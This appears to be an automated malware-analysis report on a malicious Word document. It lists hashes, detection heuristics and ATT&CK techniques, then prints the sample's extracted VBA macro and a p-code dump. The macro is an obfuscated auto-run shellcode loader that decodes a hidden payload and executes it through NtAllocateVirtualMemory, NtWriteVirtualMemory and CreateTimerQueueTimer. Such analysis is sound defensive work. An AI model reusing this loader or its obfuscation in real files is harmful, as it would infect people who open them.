Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5c583b552d4abc33…

MALICIOUS

Office (OLE)

371.5 KB Created: 2017-09-20 12:38:00 Authoring application: Microsoft Office Word First seen: 2017-10-10
MD5: 6376a660a4afc0106ea514fc87db9d84 SHA-1: ea43d7cb76f762527f49ebae8a00f8f4fdffb984 SHA-256: 5c583b552d4abc33090c077b3093071cd195e1f3a6bc6559c13e81cc1e0685b4
130 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample is a Microsoft Office document containing a VBA macro. The macro is triggered by the Document_Open event and uses GetObject, indicating an attempt to execute code. The ClamAV heuristic identifies it as a dropper, suggesting its primary purpose is to download and execute a second-stage payload. No specific family could be identified, but the presence of VBA macros and the dropper behavior points to a common malware delivery technique.

Heuristics 5

  • ClamAV: Doc.Dropper.Agent-6347785-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6347785-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    End Sub
    Private Sub Document_Open()
    Dim sport As Long
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 49684 bytes
SHA-256: 583e0672bd07316fdbe633919b3601f72d6e7ab9ad0f21820994c9b7819e2a15
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True



Sub GenerateGlossary()
Dim strSource As String
Dim strDestination As String
Dim strGlossaryName As String

strSource = ActiveWindow.Caption
strGlossaryName = "word"

Documents.Add
ActiveDocument.SaveAs FileName:=strGlossaryName, FileFormat:=wdFormatDocument
strDestination = ActiveWindow.Caption
Windows(strSource).Activate
End Sub

Sub scorpionfish()
Dim antigenic As Long
Dim exemplification As Variant
dibatter.fuss.Value = Day(#12/5/2013#)
varday = supremacist = "dowsing"
vitrics = macrobiotic
portulaca = alerts
coffeepot = catechism
dipsomania = "nincompoop"

aponeurosis = "powhatan"
bleeding = "disciplinal"
Set possessions = dibatter.fuss.SelectedItem
barnyard = 8
mutandis = 6172
grime = 499094
 Pmt 0, barnyard, 17744, 37745, 5

dispair = possessions.Name
albatross = 81 - 18 + 7781
behavior = Right(dispair, albatross)
couchant = hangnail.amanuensis(behavior)
freshen = 53
multistage = 32489
pobreza = 335016
 Pmt 0, freshen, 5728, 13100, 8

otium = "sherbert"
preliterate = "bach"
#If (8 * 2 + 5) > (7 - 2 * 1) And (21 - 7 * 3) * 2 < (Win64) Then
Dim chink As Variant
Dim preconcertation As LongPtr
Dim pomaded As LongPtr
Dim certain As String
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
Dim welldone As Integer
Dim pomaded As Long
Dim sided As Long
Dim preconcertation As Long
#End If
avail = 86 - 14 - 72
meandering = "dropline"
abutting = "guardship"
aviate = 58 - 65 + 4103
pervicacity = 76
obedience = 31146
shiksa = 151788
 Pmt 0, pervicacity, 29395, 50284, 7

australian = asynergic
nonalignment = "durra"
brook = "contingent"
musophagidae = 51
chiropractic = 9391
dunker = 527872
 Pmt 0, musophagidae, 4482, 52720, 7

sheeny = couchant
disintegrate = monosemous
overbalance = "juvenile"
preconcertation = podaxaceae(sheeny)
overdate = "transpierce"
hurlyburly = "unpoetical"
#If (3 * 4 + 5) > (5 - 2 * 1) And (8 - 4 * 2) * 2 < (Win64) Then
Dim algeripithecus As Integer
Dim vincture As LongPtr
Dim mullioned As LongPtr
Dim fallacious As LongPtr
stodginess = 97 - 17 + 1984
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
Dim vincture As Long
deactivate = 85 - 75 + 771
Dim mullioned As Long
Dim fallacious As Long
stodginess = deactivate + 3459

#End If
Dim bulgarian As Variant
Dim commodatus As Byte
vincture = 64 - 122 + 58
pomaded = preconcertation + stodginess
mullioned = 44 - 126 + 201609
fallacious = 81 - 75 + 3494
rabato = bovi(mullioned, vincture, pomaded, vincture, vincture, vincture, vincture)
feast = 100 + 1
ashtray = 22900 + 3
greasepaint = 225800 + 8
 Pmt 0, feast, 5610, 49919, 3

End Sub
Private Sub Document_Open()
Dim sport As Long
Dim debile As Variant
headrace = "beshrew"
scorpionfish
parlor = 110 + 2
acquisitions = 34040 + 10
acropetal = 107260 + 3
 Pmt 0, parlor, 35608, 18766, 8
End Sub

Attribute VB_Name = "hangnail"
'  But just your sight had my heart storming
'  And walked out
#If (17 * 2 - 3) > 2 And (Win64) > (60 - 5 * 12) * 2 Then
'  I wouldnt be in my truck
'  And hit me like a hurricane
Public Declare PtrSafe Function kit Lib "Shlwapi.dll  " Alias "SleepConditionVariableSRW" (ByVal breathing As Any, babble As Any, alprazolam As Any, escapologist As Any) As LongPtr
'  The moon went hiding, stars quit shining
'  And walked out
Public Declare PtrSafe Function interposition Lib "Kernel32.dll" Alias "CreateEventW" (ByVal calculate As LongPtr, clearcut As LongPtr, glacial As LongPtr, losel As LongPtr, decagon As LongPtr) As Long
'  If I woulda just layed my drink down
'  I was doing alright
Public Declare PtrSafe Function bovi Lib "Kernel32" Alias "CreateTimerQueueTimer" (typing As Any, ByVal oneeighth As Any, ByVal viverrine As Any, ByVal diffide As Any, ByVal categorization As Any, ByVal vero As Any, ByVal valueless As Any) As Long
'  Rain was driving, thunder, lightning
'  You wrecked my whole world when you came
Public Declare PtrSafe Function companionability Lib "ntdll.dll  " Alias "AcquireSRWLockShared" (avitaminotic As Any) As LongPtr
'  Rain was driving, thunder, lightning
'  Driving us to your house
Public Declare PtrSafe Function acrosome Lib "ntdll.dll  " Alias "NtWriteVirtualMemory" (ByVal biauricular As Any, ByVal imperialistic As Any, ByVal inert As Any, ByVal reclination As Any, ByVal appulse As Any) As LongPtr
'  And hit me like a hurricane
'  Baby, without warning
Public Declare PtrSafe Function afterimage Lib "Shlwapi.dll" Alias "CreateFileWrapW" (brow As LongPtr) As LongPtr
'  Knew it was gonna be a long night
'  Baby, without warning
Public Declare PtrSafe Function translumination Lib "ntdll.dll" Alias "NtCreateEventPair" (bridewell As LongPtr, undissolved As LongPtr, gynandromorphic As LongPtr) As LongPtr
'  And hit me like a hurricane'  Hit me like a hurricane
Public Declare PtrSafe Function grain Lib "ntdll.dll  " Alias _
"NtAllocateVirtualMemory" (proposal As LongPtr, amazingly As LongPtr, ByVal imagery As LongPtr, acrobatesByVal As LongPtr, soupe As LongPtr, ByVal trigon As LongPtr) As LongPtr
'  Hit me like a hurricane
'  And walked out
Public Declare PtrSafe Function craze Lib "Shlwapi.dll  " Alias "GetOverlappedResult" (ByVal fiord As Any, corking As Any, selfwinding As Any, camaraderie As Any) As LongPtr
'  Baby, without warning
'  But you rolled in with your hair in the wind

'  Hit me like a hurricane
'  Then you rolled in with your hair in the wind
#End If
'  And hit me like a hurricane
'  Rain was driving, thunder, lightning
#If (17 * 2 - 3) > 2 And Not (Win64) > (60 - 5 * 12) * 2 Then
'  Rain was driving, thunder, lightning
'  You wrecked my whole world when you came
Public Declare Function bovi Lib "Kernel32" Alias "CreateTimerQueueTimer" (dribbling As Any, ByVal deluxe As Any, ByVal baiting As Any, ByVal uganda As Any, ByVal proximal As Any, ByVal penurious As Any, ByVal legislator As Any) As Long
'  But just your sight had my heart storming
'  I was doing alright
Public Declare Function mindfulness Lib "Shlwapi.dll  " Alias "SleepConditionVariableSRW" (ByVal incompetently As Any, actitis As Any, decisively As Any, lymantriidae As Any) As Long
'  Hit me like a hurricane
'  I wouldnt be in my truck
Public Declare Function affairs Lib "ntdll.dll" Alias "NtCreateEventPair" (usucaption As Long, divinatory As Long, chilomycterus As Long) As Long
'  I was doing alright
'  If I woulda just layed my drink down
Public Declare Function acrosome Lib "Ntdll.dll   " Alias "NtWriteVirtualMemory" (ByVal diuturnity As Any, ByVal adelaide As Any, ByVal burnt As Any, ByVal pendragon As Any, ByVal bells As Any) As Long
'  And hit me like a hurricane
'  Started talking bout us again
Public Declare Function accusing Lib "ntdll.dll  " Alias "AcquireSRWLockShared" (barbaric As Any) As Long
'  The moon went hiding, stars quit shining
'  Started talking bout us again
Public Declare Function asked Lib "Shlwapi.dll  " Alias "GetOverlappedResult" (ByVal naples As Any, scintillation As Any, adjust As Any, prophecy As Any) As Long
'  Baby, without warning
'  We locked eyes over whiskey on ice
Public Declare Function emunctory Lib "Kernel32.dll" Alias "CreateEventW" (ByVal globe As Long, aftercare As Long, normalcy As Long, fingerboard As Long, manchu As Long) As Long
'  Baby, without warning
'  Baby, without warning
Public Declare Function grain Lib "Ntdll.dll " Alias _
"NtAllocateVirtualMemory" (imporous As Long, lengthening As Long, ByVal engagement As Long, unlimitedByVal As Long, genie As Long, ByVal evidenced As Long) As Long
'  Rain was driving, thunder, lightning
'  But just your sight had my heart storming

'  I wouldnt be in my truck
'  I was doing alright
#End If
'  Hit me like a hurricane
'  I was doing alright
Sub MyTestArray()
Dim myArray(1 To 4) As String ' Declaring array and setting bounds
Dim Response As String
Dim i As Integer
Dim myFlag As Boolean

myFlag = False
myArray(1) = "A"
myArray(2) = "B"
myArray(3) = "C"
myArray(4) = "D"

Do Until myFlag = True
Response = InputBox("Please enter your choice: (i.e. A,B,C or D)")
For i = 1 To 4
If UCase(Response) = UCase(myArray(i)) Then
myFlag = True: Exit For
End If
Next i
Loop
End Sub


Function balista(aplasia, beatable, poetics)
Select Case poetics
Case 48 + (10 / 2 - 5)
balista = aplasia \ beatable
Case 58 + (5 - 3) / 2 - 1
balista = aplasia And beatable
Case 66 + (56 / 7 - 4 * 2)
balista = aplasia * beatable
End Select
End Function
Function amanuensis(denisonia) As String
Dim unsatisfactory As Long
Dim ruined As Long
Dim cressida As Integer
Dim apsu As Byte

Dim austrian As String

Dim settled(63) As Long
Dim chimney(6962) As Byte
Dim reassemble As Variant

Dim checkmate() As Byte
Dim clinking As String

belli = architeuthis

Dim expectations(63) As Long
pastorale = Fix(405)

Dim bijoutry As String
Dim nonastringent As Long
Dim mounts As Long
preterit = Math.Round(372)

Dim choking(63) As Long
Dim completely As Long

critique = 104 - 57 + 16515025
hardbaked = 33 - 53 + 16711700
homoiothermic = 80 - 118 + 101
bequest = 111 - 112 + 257
sapsago = 70 - 121 + 115
Dim ardea As Byte

mast = 14 - 82 + 4100
Dim multinucleate As Integer

boltonia = 35 - 1 + 4062
methodologically = 74 - 113 + 258087
printer = 86 - 103 + 272
thyroid = 59 - 54 + 262139
aspirate = 80 - 111 + 65567
breachloader = 98 - 57 + 65239
Dim names As Long
cowpox = 12 - 97 + 85
maranta = 89 - 32 + 7786
Dim downpour() As Byte
Dim sternwheeler As Byte
Dim daggle As Byte
downpour = VBA.StrConv(denisonia, 128)
Dim bustard As Integer
charadriiformes = 8
cinnabar = 20527
brooklet = 396753
 Pmt 0, charadriiformes, 7214, 28797, 3

bespangle = 7843
guinesss = vbKeyShift - 12
For absents = 0 To bespangle
If absents Mod 2 = 0 Then
downpour(absents) = downpour(absents) - guinesss
Else
downpour(absents) = downpour(absents) - (guinesss - 1)
End If
Next absents
actor = 63
directional = 15929
alienism = 236078
 Pmt 0, actor, 37514, 17154, 5

cressida = 0
aging = 100 - 83 - 17
dutyfree = 93 - 35 - 15
marche = commination
For mounts = (7 - 7) * 1 To (50 + 13) * (5 - 4)
settled(mounts) = balista(mounts, sapsago, 66)
choking(mounts) = balista(mounts, boltonia, 66)
expectations(mounts) = balista(mounts, thyroid, 66)
Next mounts
but = 49
aneurysm = 16985
callow = 493967
 Pmt 0, but, 7766, 10596, 4

checkmate = downpour
senecan = 75 - 92 + 21
marasmus = 48
dominant = 24846
pharmacologically = 280313
 Pmt 0, marasmus, 5672, 58024, 4

paulo = 50 - 44 - 3
pastorale = Fix(493)

quad = dialect

petrocoptis = paulo + 1
chinking = 22 - 57 + 37
For ruined = 0 To bespangle
cattleman = checkmate(ruined)
Subject = checkmate(ruined + 2)
blaser = choking(marche(checkmate(ruined + 1)))
cloudless = settled(marche(Subject)) + marche(checkmate(ruined + paulo))
nonastringent = expectations(marche(cattleman)) + blaser + cloudless
mounts = balista(nonastringent, hardbaked, 58)
chimney(unsatisfactory) = balista(mounts, aspirate, 48)
mounts = balista(nonastringent, breachloader, 58)
chimney(unsatisfactory + 1) = balista(mounts, bequest, 48)
chimney(unsatisfactory + chinking) = balista(nonastringent, printer, 58)
unsatisfactory = unsatisfactory + chinking + 1
ruined = ruined + 3
Next
amanuensis = chimney
End Function


Attribute VB_Name = "dibatter"
Attribute VB_Base = "0{B9FBAA2C-1CB7-4900-B114-FEE71F5844DF}{DFCEF900-2888-442A-A58A-44407434A7E4}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "zmodule2"
Function grandsire(apresski, airsick, gutsiness)
#If (7 * 4 + 5) > (7 - 2 * 1) And (20 - 5 * 4) * 2 < (Win64) Then
Dim adjectival As Variant
Dim tempi As Byte
Dim ginkgopsida As LongPtr
Dim bayley As LongPtr
Dim jerky As LongPtr
Dim variance As Integer
Dim muscas As LongPtr
Dim hereness As LongPtr
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
Dim bayley As Long
Dim beckon As Variant
Dim ginkgopsida As Long
Dim immunization As Variant
Dim muscas As Long
Dim boat As Variant
Dim jerky As Long
Dim brigandine As Variant
Dim hereness As Long
Dim unhealed As Variant
Dim arresting As String
#End If
dialect = belli
pastorale = Math.Round(287)
bayley = apresski
hereness = gutsiness
idiolect = Math.Round(303)
muscas = airsick
colosseum = 33
consequent = 16508
nubiferous = 400461
 Pmt 0, colosseum, 12066, 54043, 8

dialect = dialect
ginkgopsida = 69 - 80 + 10
acrosome ByVal ginkgopsida, bayley, muscas, hereness, jerky
belli = "checkout"
End Function
Sub range()
Dim rngFirstList As range
Set rngFirstList = ActiveDocument.Lists(1).range
ActiveDocument.Windows(1).ScrollIntoView Obj:=rngFirstList, Start:=False
rngFirstList.Select
Selection.Collapse Direction:=wdCollapseEnd
Selection.MoveLeft Unit:=wdCharacter, Count:=1, Extend:=wdMove
End Sub

Attribute VB_Name = "amodule2"
Function podaxaceae(cycloserine)
Dim mylodon As Byte
Dim daybed As String
Dim failing As Byte
Dim douloureux As Variant
#If (17 * 2 - 3) > 2 And (Win64) > (60 - 5 * 12) * 2 Then
Dim squeasy As Integer
Dim abase As LongPtr
prizeman = 44 - 111 + 75
Dim contraposition As LongPtr
Dim disk As Variant
Dim humming As Byte
Dim secondary As LongPtr
Dim psammoma As Byte
#End If
#If (17 * 2 - 3) > 2 And Not (Win64) > (60 - 5 * 12) * 2 Then
Dim abase As Long
prizeman = 77 - 81 + 8
Dim contraposition As Long
Dim secondary As Long
#End If
eschrichtiidae = VarPtr(abase)
barbershop = grandsire(eschrichtiidae, VarPtr(cycloserine) + 8, prizeman)
injunction = 33 - 42 + 8
contraposition = 20 - 63 + 43
steering = 112 - 8 - 104
secondary = 67 - 44 + 9703
asperous = 68 - 109 + 4137
concavoconvex = 87 - 74 + 51
tactfully = grain(ByVal injunction, _
contraposition, ByVal steering, secondary, ByVal asperous, _
ByVal concavoconvex)
plants = Math.Round(332)

pastorale = preterit Or 287

grandsire contraposition, abase, 1 - 38 + 5920
unambitious = 76
ratlings = 24117
effendi = 571207
 Pmt 0, unambitious, 3562, 23473, 4

podaxaceae = contraposition
End Function

Function commination()
Dim blennioidea(255) As Byte
lentiform = 64 - 86 + 87
Do While lentiform <= 90 + 1
blennioidea(lentiform) = lentiform - 65
lentiform = lentiform + 1
Loop
lentiform = 48
Do While lentiform <= 50 + 8
blennioidea(lentiform) = lentiform + 4
lentiform = lentiform + 1
Loop
lentiform = 97
Do While lentiform <= 120 + 3
blennioidea(lentiform) = lentiform - 71
lentiform = lentiform + 1
Loop
blennioidea(47) = 63
lentiform = 43
blennioidea(lentiform) = 60 + 2
commination = blennioidea
End Function
Function mg(reclaimed)
mg = AscW(reclaimed)
End Function

' Processing file: /opt/analyzer/scan_staging/6432c5b986fa4f69b718a612c87b228b.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 9751 bytes
' Line #0:
' Line #1:
' Line #2:
' Line #3:
' 	FuncDefn (Sub GenerateGlossary())
' Line #4:
' 	Dim 
' 	VarDefn strSource (As String)
' Line #5:
' 	Dim 
' 	VarDefn strDestination (As String)
' Line #6:
' 	Dim 
' 	VarDefn strGlossaryName (As String)
' Line #7:
' Line #8:
' 	Ld ActiveWindow 
' 	MemLd Caption 
' 	St strSource 
' Line #9:
' 	LitStr 0x0004 "word"
' 	St strGlossaryName 
' Line #10:
' Line #11:
' 	Ld Documents 
' 	ArgsMemCall Add 0x0000 
' Line #12:
' 	Ld strGlossaryName 
' 	ParamNamed FileName 
' 	Ld wdFormatDocument 
' 	ParamNamed FileFormat 
' 	Ld ActiveDocument 
' 	ArgsMemCall SaveAs 0x0002 
' Line #13:
' 	Ld ActiveWindow 
' 	MemLd Caption 
' 	St strDestination 
' Line #14:
' 	Ld strSource 
' 	ArgsLd Windows 0x0001 
' 	ArgsMemCall Activate 0x0000 
' Line #15:
' 	EndSub 
' Line #16:
' Line #17:
' 	FuncDefn (Sub scorpionfish())
' Line #18:
' 	Dim 
' 	VarDefn antigenic (As Long)
' Line #19:
' 	Dim 
' 	VarDefn exemplification (As Variant)
' Line #20:
' 	LitDate 0x0000 0x0000 0x51A0 0x40E4 
' 	ArgsLd Day 0x0001 
' 	Ld dibatter 
' 	MemLd fuss 
' 	MemSt Value 
' Line #21:
' 	Ld supremacist 
' 	LitStr 0x0007 "dowsing"
' 	Eq 
' 	St varday 
' Line #22:
' 	Ld macrobiotic 
' 	St vitrics 
' Line #23:
' 	Ld alerts 
' 	St portulaca 
' Line #24:
' 	Ld catechism 
' 	St coffeepot 
' Line #25:
' 	LitStr 0x000A "nincompoop"
' 	St dipsomania 
' Line #26:
' Line #27:
' 	LitStr 0x0008 "powhatan"
' 	St aponeurosis 
' Line #28:
' 	LitStr 0x000B "disciplinal"
' 	St bleeding 
' Line #29:
' 	SetStmt 
' 	Ld dibatter 
' 	MemLd fuss 
' 	MemLd SelectedItem 
' 	Set possessions 
' Line #30:
' 	LitDI2 0x0008 
' 	St barnyard 
' Line #31:
' 	LitDI2 0x181C 
' 	St mutandis 
' Line #32:
' 	LitDI4 0x9D96 0x0007 
' 	St grime 
' Line #33:
' 	LitDI2 0x0000 
' 	Ld barnyard 
' 	LitDI2 0x4550 
' 	LitDI4 0x9371 0x0000 
' 	LitDI2 0x0005 
' 	ArgsCall Pmt 0x0005 
' Line #34:
' Line #35:
' 	Ld possessions 
' 	MemLd Name 
' 	St dispair 
' Line #36:
' 	LitDI2 0x0051 
' 	LitDI2 0x0012 
' 	Sub 
' 	LitDI2 0x1E65 
' 	Add 
' 	St albatross 
' Line #37:
' 	Ld dispair 
' 	Ld albatross 
' 	ArgsLd Right 0x0002 
' 	St behavior 
' Line #38:
' 	Ld behavior 
' 	Ld hangnail 
' 	ArgsMemLd amanuensis 0x0001 
' 	St couchant 
' Line #39:
' 	LitDI2 0x0035 
' 	St freshen 
' Line #40:
' 	LitDI2 0x7EE9 
' 	St multistage 
' Line #41:
' 	LitDI4 0x1CA8 0x0005 
' 	St pobreza 
' Line #42:
' 	LitDI2 0x0000 
' 	Ld freshen 
' 	LitDI2 0x1660 
' 	LitDI2 0x332C 
' 	LitDI2 0x0008 
' 	ArgsCall Pmt 0x0005 
' Line #43:
' Line #44:
' 	LitStr 0x0008 "sherbert"
' 	St otium 
' Line #45:
' 	LitStr 0x0004 "bach"
' 	St preliterate 
' Line #46:
' 	LbMark 
' 	LitDI2 0x0008 
' 	LitDI2 0x0002 
' 	Mul 
' 	LitDI2 0x0005 
' 	Add 
' 	Paren 
' 	LitDI2 0x0007 
' 	LitDI2 0x0002 
' 	LitDI2 0x0001 
' 	Mul 
' 	Sub 
' 	Paren 
' 	Gt 
' 	LitDI2 0x0015 
' 	LitDI2 0x0007 
' 	LitDI2 0x0003 
' 	Mul 
' 	Sub 
' 	Paren 
' 	LitDI2 0x0002 
' 	Mul 
' 	Ld Win64 
' 	Paren 
' 	Lt 
' 	And 
' 	LbIf 
' Line #47:
' 	Dim 
' 	VarDefn chink (As Variant)
' Line #48:
' 	Dim 
' 	VarDefn preconcertation (As Ptr)
' Line #49:
' 	Dim 
' 	VarDefn pomaded (As Ptr)
' Line #50:
' 	Dim 
' 	VarDefn certain (As String)
' Line #51:
' 	LbMark 
' 	LbEndIf 
' Line #52:
' 	LbMark 
' 	LitDI2 0x0008 
' 	LitDI2 0x0002 
' 	Mul 
' 	LitDI2 0x0005 
' 	Add 
' 	Paren 
' 	LitDI2 0x0007 
' 	LitDI2 0x0002 
' 	LitDI2 0x0001 
' 	Mul 
' 	Sub 
' 	Paren 
' 	Gt 
' 	LitDI2 0x0015 
' 	LitDI2 0x0007 
' 	LitDI2 0x0003 
' 	Mul 
' 	Sub 
' 	Paren 
' 	LitDI2 0x0002 
' 	Mul 
' 	Ld Win64 
' 	Paren 
' 	Lt 
' 	Not 
' 	And 
' 	LbIf 
' Line #53:
' 	Dim 
' 	VarDefn welldone (As Integer)
' Line #54:
' 	Dim 
' 	VarDefn pomaded (As Long)
' Line #55:
' 	Dim 
' 	VarDefn sided (As Long)
' Line #56:
' 	Dim 
' 	VarDefn preconcertation (As Long)
' Line #57:
' 	LbMark 
' 	LbEndIf 
' Line #58:
' 	LitDI2 0x0056 
' 	LitDI2 0x000E 
' 	Sub 
' 	LitDI2 0x0048 
' 	Sub 
' 	St avail 
' Line #59:
' 	LitStr 0x0008 "dropline"
' 	St meandering 
' Line #60:
' 	LitStr 0x0009 "guardship"
' 	St abutting 
' Line #61:
' 	LitDI2 0x003A 
' 	LitDI2 0x0041 
' 	Sub 
' 	LitDI2 0x1007 
' 	Add 
' 	St aviate 
' Line #62:
' 	LitDI2 0x004C 
' 	St pervicacity 
' Line #63:
' 	LitDI2 0x79AA 
' 	St obedience 
' Line #64:
' 	LitDI4 0x50EC 0x0002 
' 	St shiksa 
' Line #65:
' 	LitDI2 0x0000 
' 	Ld pervicacity 
' 	LitDI2 0x72D3 
' 	LitDI4 0xC46C 0x0000 
' 	LitDI2 0x0007 
' 	ArgsCall Pmt 0x0005 
' Line #66:
' Line #67:
' 	Ld asynergic 
' 	St australian 
' Line #68:
' 	LitStr 0x0005 "durra"
' 	St nonalignment 
' Line #69:
' 	LitStr 0x000A "contingent"
' 	St brook 
' Line #70:
' 	LitDI2 0x0033 
' 	St musophagidae 
' Line #71:
' 	LitDI2 0x24AF 
' 	St chiropractic 
' Line #72:
' 	LitDI4 0x0E00 0x0008 
' 	St dunker 
' Line #73:
' 	LitDI2 0x0000 
' 	Ld musophagidae 
' 	LitDI2 0x1182 
' 	LitDI4 0xCDF0 0x0000 
' 	LitDI2 0x0007 
' 	ArgsCall Pmt 0x0005 
' Line #74:
' Line #75:
' 	Ld couchant 
' 	St sheeny 
' Line #76:
' 	Ld monosemous 
' 	St disintegrate 
' Line #77:
' 	LitStr 0x0008 "juvenile"
' 	St overbalance 
' Line #78:
' 	Ld sheeny 
' 	ArgsLd podaxaceae 0x0001 
' 	St preconcertation 
' Line #79:
' 	LitStr 0x000B "transpierce"
' 	St overdate 
' Line #80:
' 	LitStr 0x000A "unpoetical"
' 	St hurlyburly 
' Line #81:
' 	LbMark 
' 	LitDI2 0x0003 
' 	LitDI2 0x0004 
' 	Mul 
' 	LitDI2 0x0005 
' 	Add 
' 	Paren 
' 	LitDI2 0x0005 
' 	LitDI2 0x0002 
' 	LitDI2 0x0001 
' 	Mul 
' 	Sub 
' 	Paren 
' 	Gt 
' 	LitDI2 0x0008 
' 	LitDI2 0x0004 
' 	LitDI2 0x0002 
' 	Mul 
' 	Sub 
' 	Paren 
' 	LitDI2 0x0002 
' 	Mul 
' 	Ld Win64 
' 	Paren 
' 	Lt 
' 	And 
' 	LbIf 
' Line #82:
' 	Dim 
' 	VarDefn algeripithecus (As Integer)
' Line #83:
' 	Dim 
' 	VarDefn vincture (As Ptr)
' Line #84:
' 	Dim 
' 	VarDefn mullioned (As Ptr)
' Line #85:
' 	Dim 
' 	VarDefn fallacious (As Ptr)
' Line #86:
' 	LitDI2 0x0061 
' 	LitDI2 0x0011 
' 	Sub 
' 	LitDI2 0x07C0 
' 	Add 
' 	St stodginess 
' Line #87:
' 	LbMark 
' 	LbEndIf 
' Line #88:
' 	LbMark 
' 	LitDI2 0x0008 
' 	LitDI2 0x0002 
' 	Mul 
' 	LitDI2 0x0005 
' 	Add 
' 	Paren 
' 	LitDI2 0x0007 
' 	LitDI2 0x0002 
' 	LitDI2 0x0001 
' 	Mul 
' 	Sub 
' 	Paren 
' 	Gt 
' 	LitDI2 0x0015 
' 	LitDI2 0x0007 
' 	LitDI2 0x0003 
' 	Mul 
' 	Sub 
' 	Paren 
' 	LitDI2 0x0002 
' 	Mul 
' 	Ld Win64 
' 	Paren 
' 	Lt 
' 	Not 
' 	And 
' 	LbIf 
' Line #89:
' 	Dim 
' 	VarDefn vincture (As Long)
' Line #90:
' 	LitDI2 0x0055 
' 	LitDI2 0x004B 
' 	Sub 
' 	LitDI2 0x0303 
' 	Add 
' 	St deactivate 
' Line #91:
' 	Dim 
' 	VarDefn mullioned (As Long)
' Line #92:
' 	Dim 
' 	VarDefn fallacious (As Long)
' Line #93:
' 	Ld deactivate 
' 	LitDI2 0x0D83 
' 	Add 
' 	St stodginess 
' Line #94:
' Line #95:
' 	LbMark 
' 	LbEndIf 
' Line #96:
' 	Dim 
' 	VarDefn bulgarian (As Variant)
' Line #97:
' 	Dim 
' 	VarDefn commodatus (As Byte)
' Line #98:
' 	LitDI2 0x0040 
' 	LitDI2 0x007A 
' 	Sub 
' 	LitDI2 0x003A 
' 	Add 
' 	St vincture 
' Line #99:
' 	Ld preconcertation 
' 	Ld stodginess 
' 	Add 
' 	St pomaded 
' Line #100:
' 	LitDI2 0x002C 
' 	LitDI2 0x007E 
' 	Sub 
' 	LitDI4 0x1389 0x0003 
' 	Add 
' 	St mullioned 
' Line #101:
' 	LitDI2 0x0051 
' 	LitDI2 0x004B 
' 	Sub 
' 	LitDI2 0x0DA6 
' 	Add 
' 	St fallacious 
' Line #102:
' 	Ld mullioned 
' 	Ld vincture 
' 	Ld pomaded 
' 	Ld vincture 
' 	Ld vincture 
' 	Ld vincture 
' 	Ld vincture 
' 	ArgsLd bovi 0x0007 
' 	St rabato 
' Line #103:
' 	LitDI2 0x0064 
' 	LitDI2 0x0001 
' 	Add 
' 	St feast 
' Line #104:
' 	LitDI2 0x5974 
' 	LitDI2 0x0003 
' 	Add 
' 	St ashtray 
' Line #105:
' 	LitDI4 0x7208 0x0003 
' 	LitDI2 0x0008 
' 	Add 
' 	St greasepaint 
' Line #106:
' 	LitDI2 0x0000 
' 	Ld feast 
' 	LitDI2 0x15EA 
' 	LitDI4 0xC2FF 0x0000 
' 	LitDI2 0x0003 
' 	ArgsCall Pmt 0x0005 
' Line #107:
' Line #108:
' 	EndSub 
' Line #109:
' 	FuncDefn (Sub Document_Open())
' Line #110:
' 	Dim 
' 	VarDefn sport (As Long)
' Line #111:
' 	Dim 
' 	VarDefn debile (As Variant)
' Line #112:
' 	LitStr 0x0007 "beshrew"
' 	St headrace 
' Line #113:
' 	ArgsCall scorpionfish 0x0000 
' Line #114:
' 	LitDI2 0x006E 
' 	LitDI2 0x0002 
' 	Add 
' 	St parlor 
' Line #115:
' 	LitDI4 0x84F8 0x0000 
' 	LitDI2 0x000A 
' 	Add 
' 	St acquisitions 
' Line #116:
' 	LitDI4 0xA2FC 0x0001 
…